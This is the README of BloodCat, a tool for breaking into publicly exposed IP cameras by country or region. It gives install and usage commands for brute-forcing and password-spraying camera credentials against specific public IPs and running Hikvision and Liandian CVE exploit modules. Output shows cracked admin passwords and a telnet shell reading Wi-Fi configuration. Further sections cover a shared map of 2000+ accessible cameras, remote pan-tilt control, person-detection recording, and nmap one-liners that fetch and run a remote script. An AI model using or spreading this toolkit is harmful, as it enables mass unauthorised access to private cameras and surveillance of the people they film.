MartinxMax/BloodCat
GitHub: MartinxMax/BloodCat
一款跨平台的 IP 摄像头渗透测试框架,集资产发现、弱口令爆破、CVE 漏洞利用与地理可视化于一体。
Stars: 524 | Forks: 90
# 公告
💻 我们目前正在收集各种语言的 Bloodcat 评测以及教程视频。您只需发布相关视频或操作内容;我们的机器人会自动从 Google 搜索、收集并处理它们,然后整理到相应页面上。
```
___
(___)
____
_\___ \ |\_/|
\ \ \/ , , \ ___
\__ \ \ ="= //|||\
|=== \/____)_)||||
\______| | |||||
_/_| | | =====
(_/ \_)_)
```
# Blood-Cat

一款用于入侵公开暴露的网络摄像头的工具,支持指定国家和地区。
PS:该工具支持对大多数主流网络摄像头型号进行弱口令和暴力破解测试。然而,部分具有增强安全机制的设备会故意混淆或隐藏其指纹特征,这意味着该工具并非普遍有效。未来的更新将逐步引入更多基于摄像头相关 CVE 的漏洞检测插件,旨在提高成功率,同时减少不必要的探测流量。
🐈⬛ 你是否想过,在你每天行走的街道上,是否有公开可访问的摄像头正在注视?
一旦你意识到它们的存在,你可能会意识到网络暴露是多么近在咫尺且真实。
🤦♂️ 你是否还在苦于缺乏利用 IP 摄像头漏洞的实用工具?
🌏 BloodCat 官方在全球范围内提供了超过 🔥2000+🔥 个公开可访问的 IP 摄像头示例。
🎥 一个全面的 IP 摄像头渗透测试工具包,具备默认凭据枚举、CVE 漏洞利用以及其他功能——并支持团队协作使用。
🛡️ BloodCat 不收集任何与身份相关的信息。
💻 BloodCat 兼容 Windows、Linux 和 macOS。
# Bloodcat 索引
- [视频](#official-video)
- [安装](#bloodcat-installation)
- [Bloodcat 工作流程](#bloodcat-workflow)
- [Bloodcat](#bloodcat)
- [Bloodcat PTZ](#bloodcat-ptz)
- [Evil bat](#evil-bat)
- [Shodan cat](#shodan-cat)
- [PicThief](#picthief)
- [Bloodcat CVE](#bloodcat-cve)
- [Bloodcat 全球地图](#bloodcat-map)
- [Bloodcat 全球地图终端](#bloodcat-map-terminal)
- [Bloodcat 局域网地图](#bloodcat-lan-map)
- [Bloodcat 编辑器](#bloodcat-editor)
- [Bloodcat Nmap (立即运行)](#bloodcat-nmap)
- [Bloodcat 技巧](#bloodcat-tricks)
# 官方视频
# 其他视频
FaceBook@Root Academy
⬆ 返回索引
# Bloodcat 工作流程

⬆ 返回索引
# Bloodcat 安装
磁盘空间需求:`可用空间 > 700 MB`
```
$ sudo apt update && sudo apt install build-essential python3-dev python3-pyqt5.qtwebengine -y
$ git clone https://github.com/MartinxMax/BloodCat.git
$ cd BloodCat && python3 -m venv bloodcat
$ source ./bloodcat/bin/activate
(bloodcat)$ python -m pip install --upgrade pip
(bloodcat)$ pip install opencv-python aiohappyeyeballs aiohttp aiosignal async-timeout attrs certifi charset-normalizer frozenlist geoip2 idna maxminddb multidict propcache pycryptodome PyQt5 PyQt5-Qt5 PyQt5_sip PyQtWebEngine PyQtWebEngine-Qt5 requests typing_extensions urllib3 yarl numpy pynput
```

⬆ 返回索引
# Bloodcat
您只需以 IP:PORT 格式提供 IP 和端口。
程序会自动检测目标是私有还是公网 IP 地址,并将结果相应地存储在不同位置。
**关于:**
1. 集成搜索引擎,支持按国家、地区或城市进行目标过滤和持续扫描操作。
2. 在 **RTSP 协议**层运行,提供高隐蔽性和效率。
3. 首先执行**摄像头指纹识别**,自动过滤并排除**蜜罐系统**,然后枚举目标网络摄像头的**用户名和密码**。
4. 支持**密码喷洒**,适用于**单个 IP 或多个 IP 范围**。
5. 支持 **bc 数据更新和合并**,便于长期维护和管理。
6. 支持将 **Hikvision 摄像头凭据头信息**写入 **bc 文件**,并可在地图上**可视化**显示。
**我推荐的扫描器:[https://github.com/MartinxMax/n1ght0wl.git](https://github.com/MartinxMax/n1ght0wl.git)**
**当 BloodCat 成功获取摄像头访问权限后,它会为您提供一个回放链接。**
**但是,您无需手动打开该链接。**
**只需在 BloodCat-Map 中重新加载模块,然后使用右上角的 IP 搜索功能定位目标。**
**点击目标,视频即可直接播放。**
```
(bloodcat)$ python3 bloodcat.py -h
```
```
usage: bloodcat.py [-h] [--country COUNTRY] [--city CITY] [--region REGION] [--key KEY] [--ip IP] [--ips IPS] [--password PASSWORD] [--merge] [--hiv HIV] [--live LIVE] [--update]
[--scan]
Blood Cat - IP Camera Weak Credential Scanner
options:
-h, --help show this help message and exit
--country COUNTRY Country
--city CITY City
--region REGION Area
--key KEY Fofa API key
--ip IP IP:PORT or IP
--ips IPS Targets list file (each line: IP or IP:PORT)
--password PASSWORD Password spraying
--merge Merge and update all data in ./data into a single BC file
--hiv HIV Load Hikvision credentials file
--live LIVE Filter currently active cameras in the BC file
--update Check for the latest version and update
--scan Scan ports when RTSP port is unknown
```

## 暴力破解特定摄像头 IP
如果您不知道目标的 RTSP 端口,可以添加 --scan 选项以自动扫描目标上的端口。
```
(bloodcat)$ python3 bloodcat.py --ip "185.153.118.100" --scan
```
如果未使用 --scan 选项,则必须指定端口。
```
(bloodcat)$ python3 bloodcat.py --ip "185.153.118.100:554"
```

## 针对 IP 列表进行暴力破解
在此处您也可以使用 --scan 选项。
```
(bloodcat)$ python3 bloodcat.py --ips target.txt
```

## 暴力破解特定国家/地区的摄像头 IP(通过 FoFa)
```
(bloodcat)$ python3 bloodcat.py --country CN --region HK --key
```

## 合并 .bc 数据
将所有需要合并的 `.bc` 文件放入 `./data/` 目录中。

```
(bloodcat)$ python3 bloodcat.py --merge
```

执行后,
`./data/20260308_012011.bc` 将是一个去重并合并后的 .bc 文件。
替换原有的 global.bc 文件,然后在 BloodCat_Map 中右键点击重新加载:
```
(bloodcat)$ mv ./data/20260308_012011.bc ./data/global.bc
```
## 筛选 BC 文件中今日存活的摄像头
```
(bloodcat)$ python3 bloodcat.py --live ./data/global.bc
```

## 更新
```
(bloodcat)$ python3 bloodcat.py --update
```

⬆ 返回索引
# Bloodcat CVE
```
(bloodcat)$ python3 bloodcat_cve.py
```

```
Bloodcat@exp# show
```
```
Matching Modules
==============================================================================
ID Name Description
------------------------------------------------------------------------------
1 hikvision/cve-2017-7921 Hikvision auth bypass
2 liandian/cve-2025-7503 Liandian IP Camera Telnet Hardcoded Credentials & Plaintext WiFi Credentials Leak
```
## Hikvision 破解 && iVMS-4200
您可以使用 Bloodcat 主程序测试 Hikvision 摄像头的凭据。
在正常情况下,当通过 HTTP 认证接口进行认证尝试时,连续超过五次登录失败后,设备将触发账户锁定机制,导致 admin 账户被锁定。
Bloodcat 主程序不依赖标准的 HTTP 认证流程,因此不会触发账户锁定策略。
如果无法获取基于凭据的访问权限,您可以继续使用 CVE 模块进行进一步的验证和分析。
iVMS-4200 下载链接 : https://github.com/MartinxMax/BloodCat/releases/tag/play
- [Bloodcat PTZ](#bloodcat-ptz)
```
Bloodcat@exp# use 1
Bloodcat@(CVE-2017-7921)# show
```
```
Parameter | Value | Description
----------------------------------------------------------------------
ips | | Hosts file (:)
threads | 10 | Thread count
output_type | csv | json / csv
output_path | ./result.csv| Output file
```
```
Bloodcat@(CVE-2017-7921)# set ips /home/maptnh/Desktop/2/bloodcat/BloodCat/tar.txt
Bloodcat@(CVE-2017-7921)# run
```
```
Bloodcat@(CVE-2017-7921)# run
[*] Successfully read 3 valid targets
[*] Start cracking (3 targets, threads=10)
[+] Crack success X.X.X.X:80 => admin:dddddd
[!] 1.59.71.189:80 Request timeout (> 3 seconds)
[+] Crack success X.X.X.X:80 => admin:xxxxx
[*] Start scanning SDK ports (Range: 8000-8100)...
[SDK Crack Success] X.X.X.X:8000
[SDK Crack Success] X.X.X.X:8000
[*] JSON exported successfully: ./result.csv (Size: 362 bytes, Number of devices: 2)
[*] Done! Exported 2 devices in total
```
## Liandian IP 摄像头
```
Bloodcat@exp# use 2
Bloodcat@(CVE-2025-7503)# show
```
```
Parameter | Value | Description
----------------------------------------------------------------------
ip | | ip address
port | 23 | telnet port
timeout | 10 | timeout
```
```
Bloodcat@(CVE-2025-7503)# set ip X.X.X.X
Bloodcat@(CVE-2025-7503)# run
```
```
[+] Sending payload to X.X.X.X:23 ...
_ (`-. (`\ .-') /` .-') _ ('-. _ .-') _
( (OO ) `.( OO ),' ( OO ) )_( OO)( ( OO) )
_.` \,--./ .--. ,--./ ,--,'(,------.\ .'_
(__...--''| | | | \ | |\ | .---',`'--..._)
| / | || | | |, | \| | )| | | | \ '
| |_.' || |.'.| |_)| . |/(| '--. | | ' |
| .___.'| | | |\ | | .--' | | / :
| | | ,'. | | | \ | | `---.| '--' /
`--' '--' '--' `--' `--' `------'`-------'
cat /tmp/wificonf/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
update_config=1
V380-linux# whoami
whoami
ls -la
-sh: whoami: not found
V380-linux# ls -la
drwxr-xr-x 19 1000 root 218 Jan 8 2022 .
drwxr-xr-x 19 1000 root 218 Jan 8 2022 ..
drwxr-xr-x 2 1000 root 813 Feb 15 2022 bin
drwxrwxrwt 4 root root 2680 Jan 1 1970 dev
drwxr-xr-x 7 1000 root 350 Feb 12 2022 etc
drwxr-xr-x 3 1000 root 30 Jan 13 2022 ext
drwxr-xr-x 2 1000 root 3 Sep 9 2011 home
lrwxrwxrwx 1 root root 9 Jan 8 2022 init -> sbin/init
drwxr-xr-x 3 1000 root 773 Jan 7 2022 lib
drwxr-xr-x 5 1000 root 52 Jan 4 2022 mnt
drwxr-xr-x 7 1000 1000 83 Aug 18 2022 mvs
drwxr-xr-x 2 1000 root 3 Oct 17 2011 opt
dr-xr-xr-x 62 root root 0 Jan 1 1970 proc
drwxr-xr-x 2 1000 root 3 Sep 9 2011 root
drwxr-xr-x 2 1000 root 433 Jan 21 2022 sbin
drwxr-xr-x 2 1000 root 3 Sep 9 2011 srv
dr-xr-xr-x 11 root root 0 Jan 1 1970 sys
drwxrwxrwt 3 root root 140 Feb 7 13:49 tmp
drwxr-xr-x 6 1000 root 65 Jan 18 2022 usr
drwxrwxrwt 6 root root 120 Jan 1 1970 var
```
# Evil bat
https://github.com/MartinxMax/evil-b4t
Evil‑Bat 是一款基于远程网络摄像头的实时人体检测与活动记录工具。
它分析 RTSP 视频流以识别活体人类的存在,并在人物出现在摄像头视野中时自动记录关键时刻。

⬆ 返回索引
# Shodan cat
如果您没有 Shodan 会员资格,此工具可帮助您最大化从 Shodan 获取的 IP 地址数量。
https://github.com/MartinxMax/shodancat

⬆ 返回索引
# PicThief
这是一款基于 Flask API、OCR(光学字符识别)和基于 YOLO 的智能检测构建的工具,旨在识别可能包含潜在泄露身份凭据的图像。
客户端能够对包含敏感身份凭据的图像进行分类和整理,无需安装任何依赖。
服务器暴露开放的识别 API 接口,以智能检测潜在的身份凭据。
https://github.com/MartinxMax/PicThief

⬆ 返回索引
# Bloodcat 地图
```
(bloodcat)$ python3 bloodcat_map.py
```

如果发生错误
```
QObject::moveToThread: Current thread (0x22f43020) is not the object's thread (0x23190c60).
Cannot move to target thread (0x22f43020)
qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "/home/test/Desktop/BloodCat/bloodcat/lib/python3.12/site-packages/cv2/qt/plugins" even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.
Available platform plugins are: xcb, eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, webgl.
Aborted (core dumped)
```
运行以下命令后重启程序。
```
(bloodcat)$ python3 -c "import cv2,os; p=os.path.join(os.path.dirname(cv2.__file__),'qt','plugins','platforms'); print(p) if os.path.exists(p) else exit(0)" | xargs -r rm -rf
```
## 远程 API 数据
通过输入远程数据 URL(BloodCat Map API),您可以加载外部数据集。
您可以使用官方 BloodCat 数据库进行测试:
`https://raw.githubusercontent.com/MartinxMax/db/refs/heads/main/blood_cat/global.bc`
注意:为了您自身的匿名性,请勿导入或使用不受信任的 BloodCat Map API 端点,因为它们可能会收集您的 IP 地址(除非您正在使用代理)。

您也可以从其他 BloodCat-Map 实例复制 API 数据库链接:

目标数据将被加载并显示在地图上。
如果您需要移除某个条目,请点击右侧的 X。
远程加载的原始数据不会自动保存在本地,
但远程 URL 将被写入配置文件中。
## IP 追踪
您可以在此处输入关键词对目标进行模糊匹配。
这允许您在地图上快速锁定并追踪特定目标。

## 团队协作
要使用聊天功能,所有团队成员必须:
· 处于同一局域网(LAN)中
· 同时运行 BloodCat-Map
好消息是:
· 无需输入对等端 IP 地址
· 无需担心嗅探攻击
· 聊天数据包已加密
```
(192.168.0.2)$ python3 bloodcat_map.py
```
```
(192.168.0.3)$ python3 bloodcat_map.py
```


⬆ 返回索引
# Bloodcat Map 终端
```
(bloodcat)$ python ./bloodcat_map_terminal.py
```

这里有一个实用的技巧:如果您正在使用 Termux,在一台主机上搭建好 BloodCat 环境后,您可以使用 socat 命令将监控流转发到另一台未安装 BloodCat 的主机上。
```
(bloodcat)$ sudo apt install socat
(bloodcat)$ socat TCP-LISTEN:9999,fork,reuseaddr EXEC:"python ./bloodcat_map_terminal.py"
```

```
(Termux)$ pkg install netcat-openbsd -y
(Termux)$ nc 192.168.67.131 9999
```

```
BloodCatMap-Terminal# help
=== BloodCat Map Terminal - Help Manual ===
Commands:
help - Show this help message
show - Show all entries with detailed fields (global ID)
show brief - Show brief list (global ID, IP, Source)
search - Search entries (supports: IP, RTSP, ASN, sys_org, network)
play - Play RTSP stream by GLOBAL ID
info - Show detailed information by GLOBAL ID
reload - Reload all data (local + remote)
reset - Reset filter to show all entries
add - Add remote DB URL to config
remove - Remove remote DB URL from config
urls - List all configured remote URLs
exit/quit - Exit the console
```
```
BloodCatMap-Terminal# search x.x.x.x
BloodCatMap-Terminal# play 1226
```

⬆ 返回索引
# BloodCat Nmap
注意:此 Nmap 版本仅支持检测匿名公共摄像头,无法暴力破解摄像头账户密码。
好消息是,您无需安装 BloodCat 的大部分核心依赖即可执行检测。
`$ sudo apt install nmap ffmpeg -y`
```
ip=; nmap -Pn -p "$(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/TOP1000_Camera_Port.txt | grep -oE '[0-9]+' | sort -n | uniq | paste -sd,)" --script <(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/bloodcat.nse) $ip
```

```
ips=; nmap -Pn -p "$(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/TOP1000_Camera_Port.txt | grep -oE '[0-9]+' | sort -n | uniq | paste -sd,)" --script <(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/bloodcat.nse) -iL $ips
```

`$ ffplay -fs -rtsp_transport tcp rtsp://admin:123456@x.x.x.x:554/1`

⬆ 返回索引
# Bloodcat 编辑器
导入 CSV 或 BC 配置文件后,您可以:
1. 按特定国家/地区筛选目标
2. 对字段(如国家、关键词等)执行模糊匹配
3. 仅重新导出匹配/选定的目标
4. 使用地理位置数据在世界地图上直接可视化所有目标摄像头
```
(bloodcat)$ python3 bloodcat_editor.py
```

点击导入 CSV 配置文件。

在地图上查看所有 Hikvision 摄像头的地理位置。

例如,在国家字段中搜索“Japan”将显示所有相关条目。
所有匹配项可被自动选中,然后仅导出勾选的目标。

最后,使用 iVMS-4200 播放导出的设备。
下载链接 : https://github.com/MartinxMax/BloodCat/releases/tag/play

⬆ 返回索引
# Bloodcat PTZ
您可以使用此程序检测目标摄像头是否可被控制。
```
(bloodcat)$ python3 bloodcat_ptz.py --help
```

扫描 ONVIF 端口
```
(bloodcat)$ python3 bloodcat_ptz.py --scan
```

启动 Bloodcat Map 并打开摄像头流
```
(bloodcat)$ python3 bloodcat_ptz.py --ip --port --username --password
```

认证成功后,您可以使用数字键盘控制摄像头方向。
⬆ 返回索引
# Bloodcat 局域网地图
测试文件:
`https://github.com/MartinxMax/BloodCat/releases/download/play/BloodCat_Map_LAN_Test.zip`
```
(192.168.0.102)$ unzip BloodCat_Map_LAN_Test.zip
(192.168.0.102)$ cd BloodCat_Map_LAN_Test
(192.168.0.102)$ bash lunch.sh
(192.168.0.107)$ unzip BloodCat_Map_LAN_Test.zip
(192.168.0.107)$ cd BloodCat_Map_LAN_Test
(192.168.0.107)$ bash lunch.sh
```
```
# target.txt
192.168.0.107:8554
192.168.0.102:8554
```
```
$ python3 bloodcat.py --ips target.txt
```

```
$ python3 bloodcat_map_lan.py
```


⬆ 返回索引
# Bloodcat 技巧
- [将您的直播流或私有网络摄像头画面推送到 Bloodcat Map 供订阅者播放](https://github.com/MartinxMax/BloodCat/tree/main/trick/0)
⬆ 返回索引
标签:CISA项目, CTI, HTTPX, IoT安全, PE 加载器, Python, 安防监控, 插件系统, 摄像头攻击, 无后门, 灰色产业, 物联网, 网络安全, 网络摄像机, 足迹分析, 逆向工具, 隐私保护, 隐私泄露